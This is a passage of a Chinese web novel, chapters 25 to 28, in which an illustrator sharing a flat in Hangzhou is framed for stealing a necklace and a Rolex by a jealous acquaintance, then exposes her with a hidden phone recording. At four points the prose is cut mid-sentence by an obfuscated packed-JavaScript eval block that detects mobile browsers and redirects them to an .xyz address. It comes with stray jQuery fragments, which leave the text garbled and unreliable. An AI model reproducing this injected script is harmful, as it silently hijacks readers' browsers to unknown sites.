我一边听着潺潺流水,一边用手机敲下新书的大纲,一边长吁短叹,此刻我就是被贬的苏轼,失意的李白,穷途末路的阮籍,怀才不遇的王勃....... 过了一会,微信响了一声。 唐雨薇:“你想去逛街吗?小萍想买几件衣服,但我实在太累了,实在不想逛街了。” 我:“不想去,想在家里写大纲。” “你现在在哪儿呢?” “在小溪这里写大纲呢。” “小萍要做饭,你有没有想吃的菜?” 我:“没有哎,想去西湖的茶馆里吃茶点,一边吃东西一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215005|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看西湖,最近卡文,正好找点感觉。” 唐雨薇最近也在卡文,听我这么一说立刻动心了:“那咱们去茶馆吃吧。” “那小萍怎么办,她不是要做饭么?” 唐雨薇:“跟她说一声不就好了,她愿意来就一起去吧。” 我打字:“别了吧,我还想让你指导指导我的新文大纲呢,我觉得小萍人挺好的,就是喜欢打断别人说话,我脑子转的比较慢,她一打断,我就想不起来下一句要说什么了。” 唐雨薇:“那我跟她说一声,让她回去好了。” 过了一阵,唐雨薇来小溪这边找我了,小溪旁边有两块大石头,被太阳晒得微暖,我正躺在上面听溪水声。 轻轻的脚步声越走越近,在我身边停住,一只温热的手掐住了我的脸。 我睁开眼睛,化着淡妆的唐雨薇低着头笑眯眯的地着我,她穿着一身藕荷色的连衣裙,配一双过膝的白色长靴,拎着一个白色的香奈小包。 “你还挺惬意嘛,”唐雨薇一边掐着我的脸,一边在石头上坐下,“你在阳光下真的好白。” “橄榄皮就这样,”我从石头上坐起来,“走吧,咱们去西湖的茶馆坐坐,和你说说我的新文大纲,一星菜鸟很需要你这位五星猛禽的指导。” 我们俩又去了西湖边上的一个茶馆,一边吹着西湖上的小风一边讨论大纲。 碧波荡漾,一条红色的锦鲤从我面前游过,我的手伸过栏杆,撩起一捧西湖水,那锦鲤一点也不怕人,自在地摆着尾巴,悠悠闲闲地从我手边游过。 回去后天已经黑了,周六即将过去,但我知道小萍还会在周日过来。 于是周日那天,我和唐雨薇又出去了,去吃手摇船下午茶。 套餐的价格将近600块钱,精致的茶点摆了一桌子,龙井茶、水果、甜品、瓜子、坚果,真是精致的不得了。 两岸都是葱郁的树木,满眼望去全是绿色,湖面倒映着两岸的树影,划船的大哥慢悠悠地摇着桨,桨下荡开一道道绿波,于是那湖中的树影也就摇晃起来了。 在一片流水声中,偶尔响起几声清脆的鸟声,船划到一半时忽然下起了小雨,于是我们又可以听到淅淅沥沥的雨声了。 西湖的雨景实在太凄美了,深秋桂子的香气都浸了一丝寒凉,我和唐雨薇已经不再讨论新书的大纲了,就那么安静地坐着,静静地看着这不胜美好的湖光山色。 回家后,我们俩的灵魂好似被洗涤了一样,唐雨薇恍恍惚惚的对我说她想好了下一本文的人设,她要写一个从江南烟雨里走出来的温润公子。 她笔下的人物越是气质温润就越是腹黑,一定会把反差感拉满,我说那你的主角攻受可能要吃点苦头了。 唐雨薇说道:“谈恋爱哪能不吃点苦头,由爱故生忧,由爱故生怖,甜的时候撒点刀子,撒完刀子再给点糖,这样就会衬得那点糖格外甜。” 唐雨薇写书很舍得对书里的人物下狠手,我就有一点心慈手软,我的主角受一点苦我都跟着难受。 过了两天,唐雨薇说她的一条宝格丽项链找不到了,她经常丢三落四,还干出用卫生纸包香奈儿耳钉这种事儿,差点被打扫卫生的我扔到垃圾桶里。 我们俩都没把这个当回事儿,打扫卫生的时候,我们俩会尽力在边边角角找一找,找不到就算了。 周五这天我们俩没事做,准备来个大扫除,把窗帘被罩被单沙发套什么的全洗一遍。 我登上梯子,把次卧的窗帘拆了下来,唐雨薇负责拆次卧的被套和枕套。 当她拆掉我枕套的那一刻,她失踪了好几天的那条宝格丽项链忽然从我的枕套里掉了出来。 我愣了,唐雨薇也愣了。 25.第 25 章 首先,这根项链绝对不可能是我藏在枕套里的,如果是我藏的,我也不会傻到让唐雨薇帮我换枕套。 唐雨薇也愣了一下,她抬手摸了摸自己的脖子,短暂的茫然过后,脸上露出了得而复失的喜悦:“原来是我随手把项链塞进你枕套里了啊。” 唐雨薇有一个习惯,睡前会把一些东西放到枕头底下,有时候逛街回家,耳环项链手链什么的忘了摘,到睡前才发现自己还戴着耳钉,这时候她已经很困了,也懒得放首饰盒里,就随手往枕头下一放。 我的枕套是那种信封式的,底下有一个开口,唐雨薇觉得可能是她把项链放在了那个开口里。 可是那个枕头唐雨薇也没枕过啊? 我心里升起一丝淡淡的疑惑。 这个短暂的小插曲很快就过去了,我们俩谁也没有放在心上,我继续站在梯子上换窗帘。 次卧的窗帘从淡黄色换成了特别清新的浅绿色,为了整体的色彩和谐,我把桌布也换成了浅绿色,还用缝纫机在桌布角缝了四个“日进斗金”的绿色小穗子。 毛毯也换成了一块浅绿色的,我觉得有点太单调,还用绒线在上面织了几朵粉色和奶黄色的小花。 同色系的床上四件套也被我换上了,是和窗帘同个色系的浅绿色泡泡纱。 这种浅绿色的四件套比较少,我在网上找了个遍也没有找到这个颜色的床品,只好在网上买了布料让商家定做,买之前还让商家给我发了小样,确定没有色差之后才付款。 小卧室从奶黄色变成了清新的奶绿色,唐雨薇看着看着,忽然想吃牛油果冰淇淋。 唐雨薇说的那种牛油果冰淇淋是在上海的一家甜品店吃到的,从此之后她就念念不忘,但是在杭州只能买到很不错的牛油果奶昔,吃到的牛油果冰淇淋口味都不怎么样。 她的文学功底实在太好,把那个牛油果冰淇淋形容的天上有地上无,听得我一直流口水。 拖延的稿子已经画完了,我还在昨天晚上写了两个章节的存稿,空余时间有很多,于是我尝试自己做牛油果冰淇淋。 做冰淇淋肯定是要用到均质机的,这种机器能够迅速的把所有东西都乳化,如果用破壁机的话,会起很多的泡泡。 牛油果肉、小块糖、酸奶、淡奶油、柠檬汁...... 都说做饭的时候最怕灵机一动,所以我特别谨慎,所有材料都用电子秤量好了,精准到确切的克数。 我下单了一个均质机,日的一声打成糊糊。 用机器把以上的这些东西打成了顺滑的液体后,再加入柠檬汁和盐搅拌均匀,随后把搅拌的东西装进了玻璃罐子里冷冻。 上面的教程说要冷冻10小时,但唐雨薇每隔半小时就会打开冰箱看一看。我生怕她毁掉我的劳动成果,赶紧拽着她去拉片了。 时间过得很快,牛油果冰淇淋是早晨9:00做好的,晚上7:00正好冻够了10个小时。唐雨薇已经望眼欲穿,我终于把牛油果冰淇淋从冰箱里取了出来,化冻10分钟之后又放进机器里转了一次,就这样,我们得到了非常顺滑的牛油果冰淇淋。 我尝了一口,觉得味道很不错。 那个冰淇淋机花了我2000多,不好吃都对不起这个价钱。 唐雨薇尝了一口之后深吸一口气,特别感动地搂着我的肩膀,“你太厉害了,薇薇,你不仅会缝纫,还会绣花,如今连冰淇淋也能做了!” 那两罐牛油果冰淇淋很快被我们俩吃光了。 我沉浸在成功的喜悦里无法自拔,于是又下单了一批水果和一些装冰淇淋的盒子,开始按照菜单制作各种冰淇淋。 我还买了色素和麦丽素,还有各种糖浆和炼乳,杭州这个地方买东西实在太方便了,没有什么东西是买不到的,奇乐岛的外卖小哥跑了一次又一次,厨房很快被堆满了。 均质机和冰淇淋机一直忙碌着,从晚上7点到晚上10点,我做出了草莓蓝莓树莓酸奶冰淇淋、香蕉口味冰淇淋、抹茶冰淇淋、薄荷巧克力冰淇淋,通通放入冰箱里冷冻。 装着冰淇淋的玻璃罐子整整齐齐地摆放在冰箱的格子里,我和唐雨薇站在冰箱面前陶醉地欣赏着,口水都快流下来了。 晚上11点我们两个刷牙洗漱,回到各自的卧室睡觉。 第二天起床后我和我妈打视频,我妈正在收拾我大学邮回家里的那些东西,一样一样地把那些东西拿出来给我看。 我抱了四年的白色趴姿熊被我妈从纸箱里翻了出来,它软软的,四只毛茸茸的爪子垂下来,一张萌萌的熊脸还是那么可爱那么乖。 它柔软的皮毛浸泡过我的眼泪,可能还会沾到一点我的鼻涕。 上大学那天刘叔和我妈送我来学校,帮我买床垫买生活用品,傍晚时他们两个又坐着飞机回去了,我一个人坐在宿舍的床上发呆。 晚上八点钟,我的手机响了,是我爸打来的,他来看我了。 我出去时,他就站在学校门外,出神地看着校门处往来的学生。 他怀里抱着一只白色的大熊,柔滑的皮毛在路灯下发着光,毛绒绒的熊脑袋安静地趴在他肩膀上,漆黑的熊眼睛钝钝的憨憨的,好像在是在看着我。 我知道那两只熊眼睛是塑料做的,可是那一刻,我觉得它好像活了似的,像一个温柔敦实的孩子,安静地趴在父母的怀抱里。 那一晚,我抱着这只熊躺在床上用耳机听歌,偷偷哭了一整晚。 我也不知道为什么会哭那么惨,可能是刚巧听到武艺的《问月》,而那歌词又太让人伤感了。 ——问明月,阴晴圆缺,你是否也听见不绝的思念,盼月圆的滋味,有谁能了解,虫泣鸣声声催人倦....... 我还因为这歌专门去看了凰图腾,结果发现这部剧好烂啊,果然是烂剧出神曲。 此后这只熊又见证了我诸多黑暗无力的时刻,比如找我约稿的人是未成年,画完稿子已经一个月了,他妈忽然从企鹅上蹦出来让我退款,否则就要告我,我退款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225922|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后她还骂我,说算我识相,不然非给我点颜色瞧瞧。 此刻这只熊又趴在了我妈的肩膀上。 我说道:“妈,你把这只熊给我邮过来吧。” “大老远花那钱邮一只熊?” “嗯,”我点头,“我有点想它了。” 我妈嘴上说浪费钱,但还是给我发了顺丰特快。 我用洗衣机把我的小熊洗了一遍又用烘干机烘干,现在这只小熊软乎乎香喷喷的,被我美滋滋地抱在怀里。 我抱着它,把脸埋进去,把手伸进它绒绒的毛里,好像又回到了那些个令我昏昏欲睡的晚上。 时间过得很快,好像只是一眨眼的功夫,双休日又来了,小萍也来了,唐阿姨也来了。 可真热闹啊。 唐阿姨一来,唐雨薇就变成了家里的土皇帝,恨不得唐阿姨将饭直接喂到她嘴里。 我在我妈身边的时候也是这德行,只要我妈不使唤我干活,我就衣来伸手饭来张口,像一只不思进取的米虫。 唐阿姨对年轻的女孩子很友好,不然也不可能一见面就送我金镯子,她对小萍也很关照,带我们出去吃饭的时候一直给小萍夹菜。 一个瘦弱纤细的清秀女生,说话柔声细语,举止斯文小心,还特别有眼色会做事。 她很贴心地给唐阿姨和唐雨薇拉出椅子,给她们两个端茶倒水,她们俩吃完饭想要拿餐巾纸,只是眼神一瞄,手还没动呢,餐巾纸立马就被小萍递到她们手边了。 桌上的小菜吃没了她立马就跑去盛小菜,一桌饭跑了四五次,怕唐阿姨的包刮花,她还脱下自己身上的外套垫在唐阿姨的包下面。 这种人,被她讨好的人是不会讨厌她的,而不被她讨好的——比如我,心里面就怪微妙的。 和她一比,我好像既没有眼色又不会照顾人,满眼都是清澈的愚蠢。 我安静地吃着饭,小萍说着这些年唐雨薇对她的照顾,她对唐雨薇的感激,说的声情并茂,就差诗朗诵了。 她又夸唐阿姨年轻漂亮有气质,用特别甜的声音说道:“唐姐姐这么好,我就知道唐姐姐的妈妈也是一个特别好的人,今日见到唐阿姨,果然和我想象中的一样,漂亮优雅又有气质,如果您不说,我还以为您是唐姐姐的姐姐呢。” 饭桌好像成了她主场,她身上没有穷小孩的自卑和胆怯(比如曾经很穷的我),不会沉默寡言,不会局促不安,虽然说话声音不大,人又长得柔弱,但我觉得她身上有股很蓬勃很旺盛的野心和闯荡劲。 一顿饭,哄得唐阿姨和唐雨薇眉开眼笑的,我埋头干饭,那个避风塘咸蛋黄鸡翅实在太好吃了,但杭州的菜码太小了,我吃了两块就不好意思再夹了。 这时我的盘子里伸过来一只筷子,唐雨薇夹着一块鸡翅放进了我的盘子里,我还来不及点头对她说谢谢,她筷子一伸,把盘子里剩下的最后两块鸡翅也全都夹到了我的盘子里。 桌上的盘子空了。 但我的盘子满了。 26.第 26 章 我使了很大的劲才没让自己笑得太开心,矜持地一笑,库库炫饭。 饭后必逛街,逛街必买东西,买的东西必定不便宜,这是唐雨薇母女俩的日常习惯,唐雨薇喜欢逛各种店,便宜的贵的都会去看两眼。 唐阿姨则是专挑贵的店,要么去金店,要么去卖奢侈品的店,要么去那些很贵的女装店,要么去一些店里做美容。 这一次唐阿姨领我们去了优衣库,说要给我们三个小女孩买一些衣服,让唐雨薇帮小萍挑挑。 我跟在唐阿姨身边闲逛。 别问我为什么没跟在唐雨薇身边,因为小萍正抱着唐雨薇的手臂,几乎贴在唐雨薇身上,而优衣库的架子中间是无法容纳三个人同时走过的。 我和唐阿姨一起看一条毛呢裙子,唐阿姨问我最近都做了什么,我说我最近迷上了散步。 唐阿姨点头,说怪不得这两个星期唐雨薇的微信步数都是2万多,原来是被我带去散步了,多运动也挺好的,身体才是最大的本钱。 说着说着又去看西装,唐阿姨问我优衣库的西装怎么样,我说优衣库的服装都比较看身材,又高又瘦的人怎么穿都好看。 我和唐阿姨用了衣服的做工,比如说昂贵的衬衫领子不会出现锐利的角度,高端女装的一些工艺比较复杂,比如将面料抽褶,在褶皱上做图案刺绣,还有衣服上的三角针加固线。 优衣库是平价里的战斗机,但唐阿姨还会特别挑剔它的做工。 我大学选修课就有服装工艺,和唐阿姨聊了一路,又说起我买的那个缝纫机,唐阿姨又和我说贵的缝纫机和便宜的缝纫机有什么区别。 聊着聊着,唐雨薇拎着购物筐走过来,购物筐里挺多衣服,唐雨薇给小萍挑了十二件,裤装裙装大衣毛衣都有,可谓是很贴心很全面了。 唐雨薇挑了两条法兰绒长裤、一件白色条纹针织衫、一条毛呢短裙、一条白色阔腿牛仔裤。 我随手拿了一套睡衣和两双袜子,跟在唐阿姨身后结账去了。 买完衣服,唐阿姨又带着我们去了银店,说小姑娘买了衣服,一定要买点搭配的首饰,这样穿衣服才好看。 花起亲妈的钱唐雨薇是一点都不带心疼的,小萍挽着唐雨薇的手臂一起试戴小饰品,唐雨薇戴耳钉,她帮唐雨薇撩起耳后的头发,唐雨薇佩戴项链,她又站在唐雨薇身后给她系项链 “唐唐姐皮肤好白,戴什么都好看。” “唐唐姐的手指好纤细啊,这戒指看起来一般,没想到戴在唐唐姐手上这么好看。” “唐唐姐真是大美女......” “唐唐姐......” 各种溢美之词不断从小萍嘴里说出,虽然知道她说的是事实,但我还是忍不住起了一身鸡皮疙瘩。 我心想,同样都是穷苦出身,我可比她差远了,和小萍一比,我就像一块没开窍的木头,硬邦邦的,蠢的很实心。 我站在唐阿姨身边,唐阿姨又和我说珠宝的镶嵌工艺。 我们学美术的,对这些东西都知道一点,没办法,画画的时候总得画点珠宝首饰,我又买不起,这时候就只好去学校的图书馆里借书了。 我借阅过《奢侈的》、《香奈儿的态度》、《爱马仕传奇》、《奢侈品之王的商业密码》、《迪奥的时尚笔记》、《卡地亚:珠宝的艺术》、《手工的尊严》,还有很多其他的书。 看完这些书之后,我对奢侈品的做工产生了很多的好奇,但我买不起,正巧隔壁寝室的一个女生要买一个香奈儿的入门款包包,我就陪她一起去了。 说实话,到店之后,我的滤镜突然就碎掉了。不是说那些包的做工不好,而是我横看竖看左看右看都觉得不值那个价。 溢价太严重了。 这玩意儿就是为有钱人设计的,就怕那些有钱人没地方花钱,结果很多人也被消费主义洗脑,拿好几个月的工资去买一个包。 唐阿姨刚做电商那会卖的不是女装,而是首饰和箱包,虽然她没有明说,但我觉得觉得唐阿姨卖的可能是高仿,因为她对真货假货的工艺差别简直是太了解了太专业了。 随着互联网的发展,“网红”出现,这些网红的妆容和穿搭风格被人争先模仿,唐阿姨嗅到商机,立刻转行做女装。 我觉得唐阿姨已经很了不起了,但唐阿姨只说自己是小本生意,在有钱人堆里根本排不上号,因为有钱人的差距比人和狗还大。 她在上海顶多算小康。 我心想这个小康可真是小啊,那我是什么,卖火柴的小女孩吗? 唐阿姨一边和我闲聊,一边给我挑了几根项链,小萍的首饰和项链都是唐雨薇帮着挑的,她一直夸唐雨薇好眼光。 这时候的差距又体现出来了,如果是我,我只会连忙摆手说不要,远不如小萍这样落落大方。 我们拎着一堆大包小包坐上了唐阿姨的奔驰大G,吹着夜晚的小风回家了。 逛了一天,到家也才八点。 唐阿姨本来是要送小萍回去的,小萍却说她有一对耳环落在唐雨薇这里了,虽然不贵,却是她收到的生日礼物,所以想去找找。 唐阿姨笑道:“那我们一起帮你找找。” 回到家之后,我们就开始帮她找那对耳环。 差不多找了半个小时,主卧次卧都帮她找了一遍,耳环还是没找到,她说要赶公交,就回去了。 她走之后唐阿姨去洗澡,唐雨薇把她的胡桃木首饰盒拿了出来,开始整理她的首饰。 那个首饰盒四四方方的,和苹果电脑差不多大,里面的首饰有贵的也有便宜的,还有那条从我枕头里翻出来的宝格丽项链。 看着那条项链,我心里面觉得怪怪的。 这种怪怪的感觉出于一种潜意识的心理,在我还没有意识到什么的时候,我的第六感已经在警示着我——有危险即将到来。 唐阿姨洗完澡之后发现手表不见了。 那只表我有点印象,表盘是绿色的,外面镶着一圈钻,表带是银色的,中间带了一圈金色。 我们回来之后要帮小萍找耳环,唐阿姨就把手表摘下来放到客厅电视柜旁边的一个小立柜上面。 唐雨薇问唐阿姨:“妈你是不是记错了,你确定是放在那个地方的?” “我确定,我就放在狮子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229151|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴巴了。” 唐阿姨说的狮子嘴巴是立柜上的一个陶瓷摆件,是唐雨薇看多了鬼片心里发毛,专门买来辟邪用的。狮子的嘴巴张着,唐阿姨就把手表放在狮子的嘴巴里了,所以是绝对不能记错的。 我们三个面面相觑,你看看我,我看看你,又过了一会儿,唐雨薇轻声说道:“不能是小萍吧?” 唐阿姨是一个处事果决的人,立刻果断地报警了。 这时候我才知道那只表是劳力士,价值14万。 警察来之前,我们三个开始在屋子里翻来翻去,虽然我不太喜欢小萍,但其实我心里也挺害怕冤枉小萍的,毕竟偷窃这个罪名太重了,而且价值还这么高,万一真是她偷的,可就这样坐牢了。 我心里这么想着,一方面又觉得不太可能,因为怎么看,小萍都不像是这么蠢的人,这么大价值的手表,销赃就是一个大问题。 来的是两个警察,一位男警察,一位女警察 警察来了之后先来盘问我,唐雨薇说不可能是我拿的,因为她有两只特别贵的手表,一个是唐阿姨给她买的宝珀金表钻石舞会,还有一个是劳力士的橄榄绿钻。这两个都比唐阿姨的那个手表贵,但我跟她住在一起这么久了,她那两只表也没有丢啊。 警察还给小萍打了电话,小萍说她没有拿,可以配合一切调查。 然后小萍就来了警察局,我们在警察局做笔录,小萍一直在哭,不断说什么“虽然我很穷,但我从来都没有做过偷东西的事情,而且唐雨薇和唐阿姨对她那么好,她根本不会恩将仇报”。 从警察局出来之后,小萍还一直哭。 唐阿姨安慰了她几句,开着车把小萍送回了住处。 返程的路上,车上就剩我们三个了,折腾了一晚上,我和唐雨薇的情绪都有点低沉,但唐阿姨似乎没有受任何影响,依旧与我们谈笑风生。 看我们俩兴致不高,路过一家甜品店的时候,还把车停下来给我们买冰淇淋吃和小蛋糕。 我和唐雨薇坐在车上吃冰淇淋,暑假之后开始吃甜点,唐阿姨又开始在主卧找手表。 唐雨薇坐在床边吃一个蓝莓乳酪面包,我吃草莓乳酪面包,吃着吃着有点渴,打开保温杯喝水的时候,杯子上有一圈水洒在了地上。 我的拖延症又犯了,打算吃完面包之后再去擦干净,在旁边吃面包的唐雨薇撞了撞我的肩膀,“你帮我拿瓶水好吗,我现在一点都不想动。” 我说道:“行行行,好好好。” 我放下保温杯站起身,结果脚下踩到了那滩水,于是脚一滑,身体失去了平衡,一下子倒在了唐雨薇身上。 唐雨薇手里的蓝莓乳酪面包被我撞飞了,啪叽一声掉在我的枕头上。 面包在我的枕头上滚了一圈,留下一道蓝紫色的果酱痕迹,我哀嚎起来:“完了,这下得换枕套了!” 我压在唐雨薇身上,轻轻锤了两下唐雨薇,唐雨薇笑着说道:“行行行,我来换我来换。” 她把面包放在床头柜,拿起我的枕头,拆开了枕套。 啪嗒一声。 唐阿姨的手表从我的枕套里掉了出来。 27.第 27 章 我愣了。 唐雨薇也愣了。 唐雨薇正要伸手把那块手表拿起来,我连忙捉住她的手,“先别碰,等警察来。” 这个时候我还是比较镇定的,因为这手表根本就不是我放的,我去唐雨薇的房间里喊来了唐阿姨。 我说道:“唐阿姨你相信我,这个表真的不是我偷拿的,如果是我偷的,我怎么可能放在枕套里,我应该给枕头剪个洞,把手表塞进一堆填充棉里。” 唐雨薇点头,“对啊,如果是薇薇偷的,她干嘛要让我换枕套?” 唐阿姨说道:“我当然知道不是薇薇做的。” 唐阿姨看着那块表,狠狠地皱起了眉头,又开始给警察打电话。 她给警察打电话也没有避着我们两个,警察开始盘问唐雨薇近期的交友情况,还有她这个房子内的人员流动情况,并且问唐阿姨以前有没有发生过类似的事情,唐雨薇以前有没有丢过什么贵重的东西。 我和唐雨薇几乎同时想起来了那条宝格丽项链。 唐雨薇说道:“还有一条宝格丽项链,那天我们大扫除,微微换窗帘,让我帮她换枕套和被套,我在薇薇的枕套里找到了那条项链。” 我挠挠头,说道:“我还以为她随手把项链塞进我枕套里了,还笑她丢三落四。” 唐阿姨神色复杂地看了我们两个一眼。 她叹了口气,又摇了摇头,然后站起身把次卧的门关上,自己去主卧和警察打电话去了。 次卧又只剩我们两个,唐雨薇眨眨眼,拽着我的胳膊问道:“你说刚刚我妈的眼神是不是在骂我?” 我身体后仰:“也有可能,不管这事是我干的还是小萍干的,你这都算交友不慎。” 说着说着,我我的脚又踩到了那滩水,我低头看了一会儿,一股凉意忽然自背后升起,轻轻的打了个哆嗦。 唐雨薇拽起毯子披在我的肩上,“冷了么?” “不是,”我摇头,“我就是忽然想起来,如果我没有摔倒在你身上,没有把你手里的面包撞飞弄脏我的枕套,没有让你换枕套,如果这块表是警察或者是其他人从我的枕套里翻出来,那我岂不是有嘴也说不清了?” “还有上一次那条宝格丽项链,如果不是我让你换枕套,哪天你突然从我的枕头里翻出来可怎么办啊?” 我继续分析:“首先,你会觉得我偷了你的项链,但是你念着往日的情分没有声张,觉得我只是一时鬼迷心窍,给了我改过自新的机会,但是你妈妈的手表又在今天晚上丢了。” “那我就是死不悔改的惯偷惯犯啊!” 唐雨薇也愣了好一会,“如果真的是小萍,她为什么要这样呢?” “可能她想独占你?” 唐雨薇看了我一会,忽然抬手掐我的脸,笑眯眯地问我:“哟哟哟,那你想不想独占我呀?” 我笑道很大声,“你又不是我的个人私有财产,我哪来那么大的独占欲?” 又过了一会儿,唐阿姨敲门,我们三个坐在餐桌上,开了一个小型的家庭会议,唐阿姨让我们把近期发生的事情都详细地说一遍。 唐雨薇把她和小萍认识的经过说了一遍,她像做大纲似的,先总结了时间经过,然后开始回忆细节。 有一次小萍问她这个房子租金多少,她和我是不是在一起合租,唐雨薇说这个房子是她买的,和朋友一起住要租金干嘛。 “小萍说现在很多人都喜欢自己一个人住,问我和薇薇在一起住会不会发生什么矛盾,我说没有什么矛盾,我经常看鬼片,根本不敢一个人住,和薇薇住在一起挺好的。” 唐阿姨说道:“你就不应该说这个。” 唐雨薇说道:“妈,你这属于马后炮,谁当时会想这么多啊。” 我开始揉太阳穴。 我和唐雨薇去过一次小萍的住处,说实话,对比太强烈,感觉就像是从天堂来到了地狱。 但就算是这样,她每个月也要交800块钱的房租,对于一个刚毕业的女大学生来说,这也不是一笔小数目了。 小萍每个星期都要接受一次这种落差,知道我住唐雨薇家里还不用交房租,还蹭吃蹭喝,估计她觉得把我弄走,住进来的人就变成她了。 这样房租省掉了,饭钱也省掉了,还能跟着唐雨薇吃喝玩乐。 她的计划虽然简单粗暴,但很有用,幸好两次栽赃都没成功,否则我真的是跳进黄河里也洗不清了。 我真的想象不出小萍倒底经历了什么,怎么会有如此深重的心机。 唐阿姨开始教育唐雨薇:“你可以资助她,但是不要和她走太近,升米恩斗米仇,大恩如大仇你知不知道?” “这次我领你们逛商场,都是挑一些不贵的店,唐唐,你一个月资助她1500块钱的生活费,但你买一条裙子就要五六千,她会怎么想?” 唐雨薇眨巴着眼。 “她很快就不会记得你的好了,她会想既然你买条裙子都要五六千,为什么只给她1500,从此之后她就觉得这点钱对你来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233554|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不算什么,不过是打发叫花子。” “你觉得她可怜,想多关照她,这没有错,但你不应该让她走进你的生活,你瞧瞧,认识她之后弄得家里鸡飞狗跳的。” “就说这件事,如果她得逞了,你一时心软,真的让她住进来,她就会一条水蛭似的黏着你吸血。” 唐雨薇说道:“我知道了,吸取这个惨痛的教训。” 唐阿姨喝了口水,平静了些,“就算没有这件事,我也不打算让你和她走太近,这孩子心眼太多了,太放得下身段。” 唐雨薇有点茫然:“啊?” “一个人低声下气地讨好你,心里能没有怨言么,有朝一日发达了,心里压着的气就得撒出去,积怨已久,翻脸不认人,你在她那里能讨到好么?” “对对对,”唐雨薇点头如小鸡啄米。 晚上休息的时候,唐雨薇悄悄和我说,其实她没有想太多,单纯觉得有人上门免费煮饭挺好的,出去逛街的时候还可以帮她拎包。 说真的,此刻我心里面是有点复杂的,觉得唐雨薇身上有一种天真而单纯的残忍。 人家那么努力地想和她做朋友,她给人家的定位只是个拎包煮饭的。 我有点睡不着,因为我穷过,如果我还像以前那么穷,连一份加炸蛋的大份螺蛳粉都买不起,我大概也是不会和唐雨薇成为朋友的。 想着想着,心里忽然有点忧伤了,脑子里不知怎么忽然想起小萍蹲在小区门口捡土豆的场景。 土豆满地乱滚,她狼狈地去捡。 她有野心,甚至有点谋略,心里怀着肤浅的勇气和莫名的笃定去做这些事,或许还在某个角落里描绘成功的画面。 但她根本不知道,我早就猜到那条宝格丽项链是她藏在我枕套里的,我也早就知道她把唐阿姨的手表藏在了我的枕套里。 帮唐阿姨找手表的时候我就隔着枕套摸到了。 保温杯里的水是我故意洒的,唐雨薇手里的面包也是我故意撞飞的。 窗前的杂志架里还放着我的备用手机,摄像头一直开着。 身边的唐雨薇已经睡着了,我悄悄打开备用手机划动录像。 小萍站在柜子前,用面巾纸包着手,从狮子嘴里拿走了唐阿姨的手表。 真的很对不起啊。 你喜欢唐雨薇,想和唐雨薇做朋友,难道我就不想么? 我也很喜欢唐雨薇,我也很想和唐雨薇做朋友啊。 说什么没有独占欲,那都是我骗她的。 28.第 28 章 手机里那段小萍拿手表的录像,我拿出来给唐雨薇和唐阿姨看了。 “本来想录个杂志架分享视频来着,帮小萍找耳环时就把手机随手放在了杂志架里,没想到忘了关录像,误打误撞地拍到了。” 备用机存储比较大,是我拍视频营业用的,唐雨薇也知道,她看了视频,脸上的表情很复杂。 唐阿姨看了她一眼,叹了口气:“好歹你也资助了她4年,小姑娘年轻,还刚毕业,万一真留了案底就不好了,以后别和她联系了。” 唐雨薇点头。 “就是薇薇受委屈了,”唐阿姨又看向我,伸手摸我的脑袋,“薇薇太单纯,没什么心眼,你们俩都一样,没有防人之心。” 唐雨薇点头,“是的,老妈,都是我的错,是我引狼入室差点害了薇薇。” 我心里又开始发虚了,慌忙摆着手:“没有没有,这阴谋不是没得逞么,我也没受到什么伤害。” 虽然我这么说了,但唐阿姨和唐雨薇都不太信,她俩都觉得我受了委屈。 其实我没有受什么委屈,毕竟在这场没有硝烟的战争中,我勉强算是一个胜利者。 但我也并没有胜利者的喜悦,反而心中充斥着一股淡淡的悲凉。 我也不知道自己在悲凉什么,总是做什么事情都兴致不高,就连稿子都不想画了,拿着笔在板子上转啊转啊的,画了一堆没有意义的线条。 画完之后我看了会儿,觉得可以自己转行为抽象派画家,如果再淋上点水彩,弄上几个墨水电子,就可以装进画框里去画展展览了。 名字我都想好了,就叫《思维》。 嗯,很不错,很好地体现了我此刻混乱的思维。 